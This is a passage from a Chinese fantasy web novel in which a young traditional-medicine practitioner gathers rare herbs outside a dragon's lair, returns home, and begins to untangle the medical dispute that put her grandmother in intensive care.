戈德温·西泽此刻百无聊赖地欣赏着自己的财宝们，此刻阳光正好，绝佳的打光清晰地照亮了那一堆晃眼的金银珠宝，这些令龙心驰摇曳的宝石依旧是那么迷人，可他却有些心猿意马。
他在等，等待着洞外那个人类的反应。
没一会，外头传来一阵躁动声响。
戈德温·西泽覆盖着黑色鳞片的龙脸上露出一副果然如此的表情，说不上失望，只是有些可惜。
说真的，以她强大的魔力水平，肯为他俯首称臣，成为他的信徒似乎也不是那么难以接受。
下一刻，戈德温·西泽却有些怀疑自己的耳朵。
外头那个欢呼赞叹的惊喜女声是怎么回事。
她在高兴个什么劲呢？
“天！怎么会有这么多肉苁蓉！大户人家，这绝对是大户人家……”
此刻面前足有半人高的粗壮“小塔”令申姜眼冒精光，而这样的“小塔”，申姜吞了吞口水，竟足有数百株之多。长这么大，她还只在图片上看过这样巨大的肉苁蓉，一下子被这么多鲜活实物包围，申姜有一种头晕目眩的不真实感。
实在是没想到啊，这龙穴外随随便便就长满了一大片肉苁蓉！要知道，她们医馆已经很久没有进到过野生肉苁蓉这味药材了！
不过申姜有些犹疑，刚刚她没听错的话，大黑龙是让她清理杂草，面前这些肉苁蓉个个长势喜人，品质上佳，说是宝贝也不为过。她可不能随便把龙家门口的祥瑞给拔了。
不过，现在她是真心实意想给这头大黑龙当信徒了，请问做他的信徒可以免费收割这里的药材吗？
4. 异世界
申姜的目光流连在那一株株长势喜人的肉苁蓉上无法离开。
“小塔”般的肉苁蓉就像这片山脉的主人一样，个个长得饱满结实。她们医馆都多久没有进过这样的野生天然肉苁蓉了，品相纯正，色泽浓郁，光是外观就能判断出，它们的品质出奇的高。
不少肉苁蓉正值花期，穗状的花序犹如小麦一般挂满枝干，这些花颜色各异，有的是白花蓝边，还有黄花粉边，凑在一起煞是好看。
这景象对普通人来说称得上一道风景。
却着实令申姜心痛不已。
要知道这肉苁蓉开花后，这里头都空心了，药用价值直接损失了大半，她不能眼睁睁看着煮熟的鸭子飞了，申姜撸起袖子，下意识就要把那些还未开花的肉苁蓉先抢救下来。
脑海中突然闪过巨龙那邪恶的微笑。
申姜堪堪停下差点拔出肉苁蓉的手，惊魂未定的喘出一口气。
她差点就着了道，把巨龙家门口珍贵的药材给当杂草清理掉了。
其实申姜对于巨龙愿意放过自己这件事，始终保持着怀疑态度，毕竟她有时候看到房间里突然出现的小强，也会毫不犹豫地一脚踩死。
她对巨龙来说，可能没比小强差多少，最多就是老鼠和小强的区别。
要知道，老鼠还会偷吃呢。
申姜觉得自己似乎隐隐摸到了真相，巨龙身上说不定有着天生的某些禁制，让他不能残忍的杀害普通生物。只有当这些普通生物触犯了某些条件，比如说：私自采摘了他家门口这些宝贵的药材。
到那时候，巨龙就可以毫无顾忌的出手了。
压制着自己本能的冲动，申姜尽力不去看那些让她差点走不动道的肉苁蓉。
手上的工作没停，申姜将眼前的杂草一一清理干净，没有多做停留就一路向前。
很快，她的视线又被不远处的大簇红色花球吸引，那里有一片星星点点的红色花海。走近一看才发现原来不是花朵，每株植物除了底下的宽大叶片，唯一一根枝丫的顶端长满了球形的红色浆果，饱满鲜艳。
光是看这极为明显的外形，申姜就已经认出来这些草药。
“这个品相的三七，至少得有四年了，长得真好啊。”申姜忍不住夸了一句。
注意着外头动静的戈德温·西泽听得一愣。
她怎么会知道这里的植物长出来的时间？
*
戈德温·西泽听着时不时发出惊呼的抽气声，那语气里的激动与欣喜简直夸张得要命，仿佛看到了数之不尽的财宝，倒不像是装出来的。
巨龙不由诧异，难道他家门口的杂草下其实埋着数之不尽的财宝，只是他不知道？
要是他此刻走出来看看，就会感慨那个人类的表情简直傻透了。
申姜见到巨龙身下那么多财宝都没有露出过如此兴奋的眼神，此刻璀璨明亮的双眸却盯着面前的植物大放光彩，俨然土包子进城长了见识的模样。
这也不能怪申姜大惊小怪，实在是她所在的华国甚至其他国家，早已因为人们过度开发资源，肆意排放污染物，导致中药材资源迅速锐减，药材价格更是水涨船高，直接比过去翻了几倍。
据申姜所知，她所在的南泽市就有不少卖假药的中药店，那些药材几乎能以假乱真，不是经验丰富的熟手根本无从分辨。
有不少珍稀药材如麝香在药材市场上更是直接销声匿迹，就算出现也是天价。申姜知道外头的药店，几乎都开始私下卖起了几乎能以假乱真的中药。
像是桑枝代替黄芪、桔梗代替西洋参、廉价的独活冒充当归，这里头的门道几乎被药贩子们研究得花样百出，防不胜防。
以往最困扰她和奶奶的，就是如何与这群人斗智斗勇，从中挑拣出她们需要的好药材。
现在巨龙龙穴外头漫山遍野，到处都是申姜触手可及的药材，只不过它们的主人是个不好惹的家伙，所以申姜只能看着它们，不敢对这些药材动什么歪心眼。
徒手拔了三个多小时的杂草，申姜顺带着也将方圆几百米巡视了一圈，除了肉苁蓉、三七，这还长了白术、黄芪、远志、黄连等许多超出申姜意料的药材。
巨龙说他家门口一堆杂草完全是骗人的，分明是一山“祥瑞”还差不多。
这圈巡视，收获是巨大的，但同时申姜付出的代价也十分惨痛。饶是申姜有常年整理药材的习惯，手心的薄茧依旧被杂草锋利的边沿割得惨不忍睹。
她举起两只手瞧，通红的手心上是大大小小的水泡，淡淡血痕混合着植物特有的绿色汁液，指甲缝里肮脏污秽，完全看不出原来纤细白净的模样。
“嘶。”
申姜小心地吹着手心，轻缓的凉意慢慢缓解了一些手上的疼痛。
她索性停下手里的活，找了个树荫坐下，这双手再拔下去只怕就要肿成猪蹄，她实在是拔不动这山上的任何一株杂草了。
这山头的药材种类繁多，个个长势喜人，可就像银行里都是钱，她只能看不能拿。
憋屈啊。
申姜看着自己已经开始又红又肿的双手，又瞅了眼漫山遍野的草药，实在没忍住，长长叹了口气。
“唉。”
她现在倒是有心成为巨龙大人的信徒。
可惜有心栽花花不开，无心插柳柳成荫。
扮演有心无力的废物信徒这种小心思早就被申姜抛之脑后，奈何她本来就是享受了二十八年科技便利带来舒适生活的现代人，在这片山头纯纯体力废物一个。
*
戈德温·西泽早就从龙穴中慢慢踱步走了出来。
外头的动静随着时间渐渐变小，他索性走出来听得更清楚。
洞穴外的景色一如既往，无甚新意，与往常唯一不同的就只有——那个狂热的人类追随者。
那些不知名的轻快旋律传到戈德温·西泽的耳朵里，比在洞穴里听见的更加清晰响亮。
他没发现自己的情绪也被感染，身后的尾巴轻扫起来，就着午后暖洋洋的太阳，今天的风拂过身体时格外怡人。
戈德温·西泽没发现自己竟然就这样晒着太阳饶有兴致的看了半天，完全没有不耐，他挺想看看，她还会做出什么出其不意的事。
这只是伟大的火龙戈德温·西泽家门口最不值钱的杂草而已，就能令这个普通人类这么开心，倘若她看到自己真正的财宝……岂不是整个人都要看傻了。
戈德温·西泽略带同情的看向不远处那个没见识的人类。
他完全忘了在龙穴之中，那个人类压根就没把注意力放在他身下的财宝上面过。
直到那声叹息声悠悠传来，戈德温·西泽才注意到太阳早已往西方偏移下坠。
戈德温·西泽完全没有想到，对方竟然坚持了这么久。
要知道，之前来这的屠龙骑士还有魔法师们最多只能坚持十来分钟，而她竟然坚持了数个小时。
戈德温·西泽走到那棵树干不远处，冷冷出声：“是谁准许你挑三拣四，只捡自己喜欢的杂草清除？”
申姜本来干了一下午活，整个人又累又渴，正听着远处的小鸟啾啾放松着。冷不丁被身后那道雷霆万钧的声音吓了一跳，整个人差点从地上跳起来。
“戈……戈德温大人，我只是中途休息，请放心，
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我立刻将其他杂草一并清除干净。”
申姜边说边起身，径直绕过身边的黄连，走到更远处的一株牛鞭草前，两只手握住茎叶时抖了一下，申姜咬住唇，忽视那酸爽的感觉用力使劲往外拔。
戈德温·西泽不可置信地指着那几株近在咫尺的黄连：“你竟敢当面欺骗糊弄伟大的火龙戈德温？这个，为什么不拔？”
申姜一听这话，顿时放开了手里的牛鞭草，回头就看到巨大的三角利爪指向了几株浓茂的黄连。
申姜有些没弄明白眼前的状况，她小心翼翼的问道：“这么珍贵的草药，也要拔掉吗？”
黄连在中药里颇有名气，是极苦良药。在华国，黄连作为常用名贵中药材之一，早就被列为国家二级重点保护药材。这药申姜想不留意都难。
戈德温·西泽翻了个巨大的白眼：“够了，你脑子没坏吧，难道连这株杂草上头没有半点魔力都看不出来吗？”
申姜反应很快，她几乎是立刻就想通了事情的前因后果，完全没想到竟然会有这样峰回路转的好事，她立刻释放出巨大的热情：
“尊敬的戈德温·西泽大人，我保证我可以将这些杂草通通处理干净！只不过需要给我一些时间。您放心，只要有我在，这片杂草绝对碍不了您的眼！”
戈德温现在十分确定，这个人类真的是脑子坏了。
怎么被他骂了反而一副兴高采烈的样子，刚刚他过来的时候还看到这个人无精打采一脸生无可恋的表情呢。
“尊敬的戈德温·西泽大人，我清理完这些杂草后，可以将它们带走吗？”申姜眼看这会氛围不错，趁机提出更为贴心的服务。
戈德温深深的望着脸上写满雀跃的人类，内心满是复杂：这个愚蠢家伙，难道为了当我的信徒，半点身为魔法师的尊严都不在乎了吗？
“只要你能把它们清理干净，它们都是你的。”戈德温冷淡的丢下这句话，转头就走。
要想赶走这个信徒实在是太困难了。
最关键她过于神秘离奇，戈德温完全看不懂每次她突然转变的情绪，时真时假。
但戈德温·西泽知道有个办法可以解决这个问题。
*
惊喜来得太突然了，申姜一下子有些苦恼。
她有些纠结现在是去刨肉苁蓉，还是去挖三七，或者去采点当归也是不错的选择。
成年人不做选择，申姜决定，今天每家每户都能得到她的光顾。
要不是她的手情况有些严重，申姜觉得自己能一口气把这些药连夜采光。
大部分药材的药用部位在根部，光靠蛮力直接拔是不行的，不仅容易拔不出来，还可能损坏药材。申姜在附近找了根木棍，打算就用它把药材们刨出来。
稍一用力，申姜的手心就是一片钻心刺骨的剧痛。
申姜看了眼自己身上，把身上的衬衣袖子从衣服上拆了出来，再用袖子将手心缠紧，咬着牙继续挖。
正当申姜实施着她雄伟的计划时，抬眼便看到大黑龙从龙穴里走出来，没给这边的她一个眼神，径直张开双翼腾空飞起，动作利落干脆，在天空广袤的映衬下，凌空睥睨，神态傲然。
申姜：别说，黑龙飞起来那一下子，还真挺潇洒的。
要是她也能飞就好了，最好一口气飞回南泽市看看奶奶现在怎么样了。
想到这，申姜突然反应过来，龙都飞走了，她干嘛要一个人留在这座山上。
加快了手里的动作，挑了她目前最需要的几种药材，用树枝将它们从土里刨出来，再用几根杂草打成结将它们捆在一起，申姜挑了条最好走的路线，麻溜下山了。
5. 现世界
申姜原本真的很担心要怎么回家这件事。
毕竟她身上没带手机没带钱，就只有一堆抱在怀里的新鲜药材。
按照她的推测，往好处想这座山不在华国，而是在其他国家某个未发掘的原始森林。往坏处想，她不敢想……
以她的脚程和身上的装备，可能永远都走不出这座山。
然而，当金色的夕阳堪堪在天空的尽头短暂停留，厚重的云彩簇拥着落日，余晖将天空的云朵染成大片磅礴的金红色，那座刻满精致暗纹的金色大门就这么水灵灵的出现在她面前。
熟悉的柔和光芒再次将她包裹，申姜都没有做好心理准备，就被吐回了明心堂。
还是那个她熟悉的明心堂，中药柜子上贴满了她手写的白色标签纸，熟悉的透明玻璃柜台轮廓，里头放着她和奶奶一起挑选的人参等名贵药材……即使屋子里黑漆漆的，但她还是第一眼就认出了这里。
申姜呆愣愣的站在原地，似乎不敢相信，自己就这么回来了。
*
放在桌子上的手机屏幕亮起，申姜伸手去拿手机，才发现自己还抱着那一堆药材。
时间显示是2135年4月16日凌晨5点，申姜记得她是15号傍晚回的家，也就是说，她去异世界的这段时间，这里最多也就只过去了几个小时。
太好了，申姜缓缓松了口气。她最担心的就是自己回来后发现物是人非，时间都过去了十年那种狗血故事。还好，这里的生活一切正常，她不过才离开了奶奶几个小时。
手机界面里，时间下方挂满了未接来电和各种信息。
申姜用人脸识别解锁界面，先看了眼未接来电，一大串基本都是陌生电话，其中一个22:45打来的电话，显示是派出所的张警官。
张警官这么晚给她打电话，一定是发生了什么重要的事，申姜想了想，发了条信息过去。
现在毕竟是四点，张警官肯定已经睡了，不过等他看到信息，肯定会第一时间打回来。
申姜看着面前的医馆，昨天她才打扫了一小部分，此刻医馆里仍旧是乱糟糟的。她原本想好好把这里打扫出来，干干净净的交到别人手上，不过就自己现在这肿成猪蹄的手，估计是不太可能了。
她昨天之所以回明心堂，一是想再看看这个她从小长大的地方，二来是想把这里打扫一下，要是让买家看到这里的样子，不仅不体面，还很容易吓跑对方。
要用中介的话来形容这位买家，那就是人傻钱多的冤大头，千万得逮住这条大鱼别让人回过神来。
那个被中介称为人傻钱多的冤大头，脾气并不好，但他的确算是诚意满满，报价非常厚道。
申姜心里明白中介说得对，一旦错过，就再也没有这么好的机会了。
要是拖延下去，以对方在电话里的脾气，估计转头就会找到别家，毕竟这街上想卖房子的商户有不少。
现在这条街的市场价值早就不同以往。过去，这里是老城区的热门位置，餐饮、逛街一条龙，这些年随着城市东迁发展，这条街逐步沦落到了整个城市的边缘。
这条街的结构其实十分特殊，由于是晚清时期留下来的老房子改建，街上的房屋建筑都是是老式的江南院落风格，每一户都是独门独幢，除了前头的店面，后头还有院子和单独的屋子。
前几年行情好的时候，这条街上就有不少商户蠢蠢欲动想把店卖了搬去新城。结果这一带有可能被拆迁收购的消息一出来，好多人动起了小心思，想先放在手里等着卖给好价钱。
结果后头拆迁的消息迟迟没有眉目，倒是商铺砸在了手里，转卖的价格一年不如一年。
周边的老住户渐渐搬离了大半，有能力的都买了新房子迁去新区，那里配套的大商场还有大医院，就连马路都是五条道起步，可比住在这里舒服多了。
倒是越来越多的外来务工人员选择租住在这一片，这里虽然离市中心远了点，但胜在价格便宜啊。
这边的商户也在逐年减少，大家都选择迁去人流量茂密购买力更强的新城。周边好几户都关了门，贴着转售转租招租各种告示的都有。
除了明心堂，剩下的几家商户都是用自家的门面做生意，一大家子都住在店后头。要是搬走，不仅要去外面租门面，还得去租房子，对他们来说搬走的成本太大，还不如继续在这里做点小买卖。
明心堂挂在市场上的价格并不符合申姜心中的预期，这里对她而言是意义非凡的家和回忆，对买家来说，没人在意她的故事，他们只看市场价值。
要不是这一带有可能被富商收购用来做旅游开发的消息传了几年，只怕这条街上的商铺还得再往下降价。
申姜现在卡里满打满算也就只剩下三万块钱，要想继续治疗，不仅要卖，还得降价急售。中介劝她要做好心理准备，要是真心想卖，那就听他的来。
放在平时，无论对方出了多高的价格要买明心堂，申姜肯定会毫不犹豫直接拒绝。她也没想到，自己会有一天会为了钱的事急得上火。
申姜这些年没为钱操过心，她的爱好不多，收集古籍医书算是其中花销最大的，但这也花不了多少钱。比起同学追星、买手办、买盲盒这些花的钱，她的支出简直朴素得不行。
外地读书的那几年，奶奶给的生活费申姜根本花不完，再加上学校发的奖学金，她反倒还攒下了一笔钱。
*
按照原本的约定，今天中介就会带着买家上门来签合同。
这医馆，她还卖吗？
余光瞥见那些从龙穴外摘回来的药材，它们此刻静静地躺在诊室古朴的大木桌上，看不出半点特别的痕迹。
要知道，这些宝贝
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可是她这趟离奇遭遇的战利品。
但它们即使没有那趟遭遇，本身也足够特殊了，申姜已经很久没有见过这样品相的药材，就算是跟那些标准道地药材比，它们也丝毫不逊色，甚至可以说，这是申姜和中药打交道以来，见过最出色的药材。
申姜心念一动，这些药材的药效怎么样？
要是中看不中用的话，这明心堂她也别留着了，万一那扇大门再次出现，她的小命根本不够折腾，迟早会葬送在哪个奇诡的地方。
正好她现在手肿得跟猪蹄似的，需要处理一下，而这里头就有能派上用场的药材。
说干就干，申姜从一堆药材里挑出一株形状完整的三七。
三七可内服可外用，三七粉直接外涂伤口，可以止血、散瘀、消肿定痛。她手上这些三七还没有经过干燥，没办法直接打粉，但申姜浑不在意。
事实上，人们都认为中药材需要经过炮制才能使用，但申姜熟读不少古医书，知道炮制最开始的目的是为了便于储存，只是后来经过了长时间的使用和演变，古代中医们发现用不同的炮制手段，可以使药材的药理发挥出不同的作用。
新鲜的三七，在采摘后短时间内生成的的某些成分，是经过晾晒后的三七所没有的。
三七的浑身都是宝，除了根茎部分药效最强，它的花和叶子都具有药用价值，现在市场药材成本高，申姜跟着奶奶养成了物尽其用的道理，直接就把整株植物带了回来。
申姜龇牙咧嘴的先给自己的两只手做了简单的消毒清理，带上手套，把洗干净的三七根茎直接用粉碎机打碎，三七里头的水分不少，打出来的药渣都不需要加水调和，直接就能敷到伤口上。
药材敷到手心上，一阵冰冰凉凉的凉意袭来，申姜舒服得长叹一口气。
一阵困意袭来，申姜忍不住眯起眼睛。她昨天压根就没睡过，还在龙穴外干了大半天的活，整个人这会才完全松懈下来，立刻感到精疲力尽。
申姜呼唤出siri，设了个早上七点的闹钟，衣服都没脱就在床上睡着了，两只手手心都敷了厚厚一层，朝上放在肚皮上，就这么睡到了天亮。
闹钟一响，申姜从梦里被拉回现实。
申姜迷迷澄澄地睁开眼，整个人还没有完全从梦境中回过神来。刚才她做了个十分匪夷所思的梦，关键梦境里有关她和奶奶的结局过于惨烈，导致她此刻的情绪完全沉浸在一股异常悲伤和愤怒的边界。
大概是日有所思夜有所梦，她梦到了奶奶昏迷后的未来。
申姜想要揉揉眼睛，把自己从那个乱七八糟的噩梦之中摘离出来，毕竟那梦可不算好。不过梦境和现实都是相反的，申姜这样安慰自己。说不定奶奶明天就能从icu转到普通病房，然后顺利康复。
一抬手，一团干巴巴的东西吧唧掉到了胸口。
6. 现世界
申姜这才想起自己睡前给手敷了药，此刻手心的疼意早已消失，完全没有先前刺痛的感觉。
她顿时来了精神，立刻坐起身，手心的敷料早已经干透，轻轻一揭就能完整的揭干净，申姜却是一愣。
她的手心此刻红肿消退，水泡也不见了，就连原本划破的细碎伤口也已经愈合了大半，只留下浅浅一道几乎看不出来的红痕。
申姜不敢置信的来回翻看自己的手，要不是那种十指连心的痛感印象太深刻，她差点以为自己的手压根就没受过伤。
她呆滞地看了一眼放在床头的干瘪药渣，心想：看来奶奶的医药费有着落了。
*
“申小姐，说实话我见多了你们这样的手段，临时反悔不就是想加价么。”
申姜的眉头轻轻拧起，这位买家汪先生的嘴堪称直白刻薄，之前仅有几次的交涉都让她感到不舒服，但毕竟对方是买主，她都忍了下来。
没有签订合同之前，买卖双方反悔都是比较常见的事情，虽然道义上来说的确会令人不舒服，但并不是不行。
申姜想起刚才中介的好言相劝，让她千万再好好想想，万一对方跑去看其他家的门面，她就是想后悔都没地方哭去。
“感谢您对这个房子的喜欢，其实我周边还有不少空着的商户，您要是真心喜欢，可以让中介问问其他家。说不定以后咱们还能做个邻居。”
对面陷入了沉默，似乎完全没想到她会这么说。
申姜觉得事情到这也差不多结束了，毕竟该说的她都说完了。
一道冷哼在电话那头响起，倨傲男声冷不丁打断了她。
“申小姐，你就别浪费力气找借口了。你们这个店的事我都知道，前些日子你们店的医生因为医闹进了医院吧，我想申小姐这段日子应该很缺钱，所以才给出这么高的价格。我不是做慈善的，但这价格跟做慈善有什么区别？
你说你不想卖，该不会是还想继续守着那家店继续给人看病吧？你觉得就你们店现在的名声，哪个病人还敢来你们这看病？这样吧，我们各退一步，我再加一点钱。
我的时间宝贵，我劝你最好不要跟我玩这些欲拒还迎的把戏。”
申姜深吸一口气，眼底泛起冷意，实在不想和这么自以为是的人继续纠缠下去。
奶奶是因为医闹出的事，这件事现在几乎众所周知。
南泽市老中医被医闹打进医院的新闻出来后，似乎触到了网友的某根神经，一夜间引发了全民热议。
不像西医出现医闹伤人，群众都会自发同情医生声讨医闹，这次的网友了解原委后大多竟都偏向了患者那方，觉得病人一家倒霉可怜，老人被医生治坏了，家里的顶梁柱又因为讨公道要吃牢饭，真是人间惨剧。
中医黑在里头带起节奏，各种营销号嗅到热度闻风而来，总之舆论朝着最坏的方向不可控的发酵壮大，仿佛现在人人都在谈论这个事。
不明所以被带了节奏的网友，人肉出奶奶的信息，成天给她们的手机打电话发信息，字里行间的恶毒扑面而来，谴责奶奶是庸医害人，说她出事是现世报，活该！
最让申姜难受的莫过于，竟然会有曾经来店里看过病的老病人站出来指责明心堂，说她们早就失了初心……
原来一个人多年的付出与努力，可以在顷刻间被抹去，任人随意曲解污蔑发酵。
申姜眼底一片寒意，直接就想挂了电话。但汪先生那句“我劝你最好不要跟我玩欲拒还迎的把戏”像是魔音，洗脑般盘亘在脑海。电光火石间，申姜就想到了清晨的那个噩梦。
申姜试探道：“你不是真正的买主，你老板是不是姓苏？叫苏星然。”
对面先是沉默，随后才像是找回意识般回应。
“……原来你是知道了我老板是谁，才这么迫不及待想要坐地起价。呵，我告诉你……”
得到自己预料之中意料之外的答案，申姜没再给对方继续出言不逊的机会，她的眼底一片冰冷。
“小汪，我听你说话暴躁又刻薄，多半是肝不好，如果放任不理，很有可能发展成大病。我言尽于此，你以后别再给我打电话了。”
挂掉电话，又附赠了拉黑一条龙服务，申姜却并没有觉得畅快，只觉得心头好像堵了块大石头。
申姜向来记性好，她确定这位汪先生从未说起过自己有老板，她在今天之前也不认识什么苏星然，这不过是她早上那个可笑又悲惨的梦境中出现过的男主名字。
难道梦境里的一切都是真的？
申姜看着面前熟悉的摆设，只觉得眼前的一切既真实又魔幻。
她以为那扇门是她见过最崩塌世界的存在，结果她在门后遇到了一条会说话的黑龙，世界观崩得再无可崩，现在，她仅剩不多的世界观再再再一次崩塌了。
按照梦境，整个宇宙由无数个小说世界构成。所有的小说世界都有各自的主角，彼此之间互不干扰各成一方。她所在的这个世界正是其中一个小世界，整个故事围绕着一对男女主两人天雷滚滚的霸总追妻火葬场小说展开。
而她和奶奶都是这本小说世界里无关轻重的炮灰路人角色。
这个世界的中心——男主苏星然还有女主裴佳，申姜当然不认识他们。
但她认识男主角的亲妹妹苏晴，家境优渥的富N代，同时也是申姜的大学学妹。去年来明心堂看过病，得知申姜是她师姐后，经常隔三差五的过来找她探究中医专业方面的问题。
而申姜知道对方有钱，也是因为，她们俩的母校远在千里之外的首都。但苏晴出现在明心堂的时间往往随心所欲，经常出现下课就过来找她的情况。后来申姜才知道，人家有自己的私人飞机，可以随时随地两地来回。
申姜没有自来熟的习惯，苏晴却对她很热情，嘴巴也甜，没有半点大小姐脾气架子，奶奶每次看到苏晴来都会和颜悦色的说：“又来找我们小骨啦。”
一来二去，慢慢两个人也就熟悉起来了。
而苏晴正是这个小说世界里至关重要的配角人物，作为男女主人公感情推动器，可以说，没有她，这二位主角一波三折跌宕起伏的感情历程得
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少一大半。
男主苏星然很宠自己的小妹，这次听说妹妹经常挂在嘴上的偶像学姐家里出事，直接大手笔买下明心堂，后面更是邀请申姜继续在明心堂坐诊，为的就是让自家妹妹高兴。
遭遇家变，不了解其中原委的申姜，在回到明心堂后的一段时间里还感激了买主很久，后来知道了苏晴是买主妹妹后，更是相当用心照顾苏晴这个学妹，几乎是毫无保留的将自己总结出来的学习经验分享给苏晴。
梦境中后面苏晴大学毕业，也来到了明心堂坐诊。可能是这场医闹的关系，也可能苏晴成了明心堂背后的主人，苏晴对她的态度转变了许多，不像以前那样热情友好，时不时还会流露出大小姐脾气。
因为苏晴刚毕业还没考出医师资格证，只能给申姜做医助，同时跟在申姜身边学习临床经验。申姜让她跟着自己一起给病人诊脉，她就是从小跟着奶奶这样学过来的，病人的问题往往复杂而多变，并不会像教科书上写的那样生病，基本上是一人一方。
申姜为了回报苏晴，当然是毫无保留的认真教她诊断时的窍门。
没想到后面她和苏晴的关系彻底破裂，就坏在这事上。苏晴虽然是中医博士毕业，但只懂一些皮毛，面对申姜的提问，像是同病异治、异病同治，还有辨证论治，她完全是一头雾水，经常被申姜的提问问的哑口无言。
她内心完全不能接受申姜对自己趾高气扬的提问，觉得申姜就是故意要让自己在病人面前出丑。
两人关系破裂得极快。
结果就是明心堂关门大吉，申姜当场被解雇。
申姜后面去了一个镇医院的中医科坐了几年的冷板凳，那时候苏晴已经成了小有名气的明星医生，被打造成天才的年轻女医生人设，在自家开的大医院和悦家受到不少病人追捧，还经常活跃在大小荧幕中。
因为县医院的工资低，刚好有一家愿意高薪聘请申姜的中医堂，为了更好的照顾奶奶，申姜没怎么犹豫就去了。可没想到因为这家中医堂背地里为了赚钱不择手段，出了事竟然选择让她做替罪羊背黑锅。
申姜被拘留了一段时间，而变成植物人的奶奶也在这段时间因为没人照顾，竟然活活饿死在家中，被人发现还是因为尸体发出臭味导致邻居报警。
而申姜知道奶奶去世的消息后，当天就在监狱里自杀了。
申姜想到梦境里自己和奶奶的结局，背上浮起一阵凉意。
要是真的按照这结局她得把作者拖出来狠狠鞭尸，凭什么男女主就能圆满大结局，苏晴这种无数次作死挑拨男女主关系最后被遭到她哥的厌恶，也只是失去工作，被打发去家族联姻。
而她这种勤勤恳恳本本分分的普通人却家破人亡，她招谁惹谁了，就因为她的设定就是炮灰工具人？
动她也就算了，还是拿她奶奶开刀，她简直想把这个糟烂的狗血世界给创死。
申姜越想越气。
电话铃声在这时再度响起，申姜原本想挂掉，结果发现是张警官打来的。
她连忙拿起手机按下接听。
7. 现世界
“申姜，你奶奶怎么样了？”
“她现在还昏迷着。张警官，你今天打电话给我是有什么事吗？”申姜表情淡漠，说话的嗓音却相反，泠泠溪水般听着沁人心脾。
和申姜那双圆滚滚的小鹿眼略有违和的是她的眼神，此刻四下无人，她的眼神里有着异样的疯狂在滚动。
申姜知道，警方应该是抓到了闹事的那个中年男人。
果然。
“打伤你奶奶的嫌犯找到了，这些日子他躲到了山里，今天终于忍不住出门放风，这才被监控拍到。”张警官觉得对方知道这个消息，一定会很欣慰，这才第一时间通知她。
“按理来说你奶奶的医药费得对方出，不过我看他情绪很激动，估计你得走法律途径才行……”张警官有些担忧，这些糟心事对于申姜一个年轻的姑娘来说实在过于残酷，但她又不得不面对。
毕竟她们家除了出事的老太太，就剩申姜这一个独苗苗了。
申姜试探道：“那个男人是不是叫山国盛？”
张警官有些吃惊：“你怎么知道他名字？”
申姜心里啼血，最后的一道希望被打破，梦境中的一切都映证到了现实。
申姜没有回答张警官的问题，而是问道：“张警官，他有说为什么要来明心堂闹事吗？”
“这个啊，嫌犯说他爸上个月来明心堂看过病，吃了几天申医生开的方子后病情加重转成了肾衰竭，他去问过别的医生，那些医生都说申医生开的方子不对症。所以他才会上门讨说法，没想到会闹出这么大的事。这些情况我们会逐一去跟进核实，你放心。”
事实上，就算这些事情是真的，那也该报警让警察和卫生局来对医生进行调查。像山国盛这种私自打架闹事的行为，还把人老太太伤进了医院ICU，已经构成了严重的刑事犯罪。
张警官心下唏嘘，医生这行业还真是个高危行业啊。
那老太太早就过了退休的年纪还在出诊看病，人家培养出一个首都大学的孙女，要他看，这里头肯定是有什么误会。
张警官絮絮叨叨的声音在电话里有些失真，申姜直扑重点：“他说病人是吃了我们医馆的药出的事？”
张警官：“对。”
他有些紧张起来，“他们当时要是选择报警而不是寻私仇，现在也不会搞成这样，你可千万别冲动啊。我们会把事实真相调查清楚的还你们一个公道的。”
申姜皱着的眉头简直可以夹死一只蚊子，她就没见过这么不要脸的人！
梦境里，申姜要到很久以后才知道闹事人叫山国盛，他爸也就是病人叫山贵。
申姜始终打心底里怀疑医闹是假，可能是同行眼红明心堂的生意太好，故意找托来闹事，没想到患者是真实存在的，所以一直等着警方的调查结果。
申姜的笃定并不是盲目偏私，她从小就跟在奶奶身边，奶奶教她的中医第一课就是谨慎。何况奶奶经营明心堂五十多年，从来没有失过手，那满墙的锦旗还有老病人的口碑对她医术的最好肯定，申姜根本就不相信一贯谨慎的奶奶会治坏人，以奶奶的水平怎么会犯那种害人性命的重大错误。
结果这一等，就让她错过了为奶奶正名的最好机会。
辟谣是有时效性的，必须要快，绝不能让谣言传播开来。
今天已经是奶奶出事的第十一天，早就错过了向大众澄清的时机。而梦境中的情况更加糟糕，申姜直到一个月后，才知道嫌疑人叫山国盛，从而在自家的医案书上找到病人山贵的信息。
最后辗转多次才找到病人肾衰竭真正的原因。
那时一切早已尘埃落定，热度过去，就算申姜努力在网上发声，却根本掀不起半点水花。
没有人在意一个臭名昭著的医馆那些弯弯绕绕错综复杂的解释。
大家只记得，有个可怜的家庭因为一个庸医而家破人亡。
苏星然把明心堂的招牌换成了晴德堂时，申姜看着心里难受，却没有办法。明心堂的招牌已经臭了，如果继续用下去，根本不会有病人愿意上门。
此刻，申姜的眼睛里迸发出熊熊怒火。
“张警官，我这有一些可能对你们案情有帮助的资料，我先拍下来发给你看看。”
申姜挂了电话走到被人破坏过的诊室。从地上杂乱的物件里，翻找出了那本古朴的医案书。
这是奶奶行医多年的习惯，每次看完病人，都会把当天的出诊记录记到医案书上。申姜从会用电脑开始，也会定时替奶奶将这些医案存到电脑上备档。
梦里并没有太多关于这个医闹的细节，几乎是一笔带过。但她依稀记得最后调查出来的结果是那个病人压根就没有吃她们医馆里的药。
警察也是以此结案，给山国盛定了罪。
但事情远远没有就此结束，网友们的审判依旧如火如荼，他们对警察还有法官的判定并不买账。因为山国盛的家人站出来说老人虽然没在明心堂配药，但的确是吃了医生申安莲开的药方。
虽然明心堂摆脱了法律层面的制裁，可医生头顶的污名却再度被证实。
直到最后，除了她一个人相信奶奶没有开错方子，所有人都认定这一切都是因为奶奶医术不精导致的悲剧。申姜回想着梦境里有关这场闹剧的一切，眉头越拧越紧。
那个叫山贵的病人是上月中下旬来的，申姜从最后开始翻起，很快就找到了他的看诊记录。
医案上和当时的电脑存档都有显示一条关键性的证据，那是病案后的一个备注，很小，并不算太明显：
“病人拒绝在明心堂配药，要求带方回去自配。”
申姜先把这份医案拍照，给张警官发送过去，然后才一眨不眨地盯着病例，开始研究起来。
这个病人明显表现是腰膝疼痛，精神疲惫，而且觉得浑身发冷。加上脉象，许多中医会下意识当成是寒证来治疗。
但奶奶没有，医案上清楚写着真热假寒，阳盛格阴。
这是中医的术语，代表的是火郁于内，火在里面出不来了，但表现在外的病情却都是寒证的特点。
这病其实经常出现，但大部分医生都会当做寒证来治，不是经验丰富的老医生一般很难诊出来，因为迷惑性的症状实在太明显了。临床中，寒热的症状会同时出现，一旦医生
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医术不到家，诊错了病不自知，病人就成了倒霉的买单人。
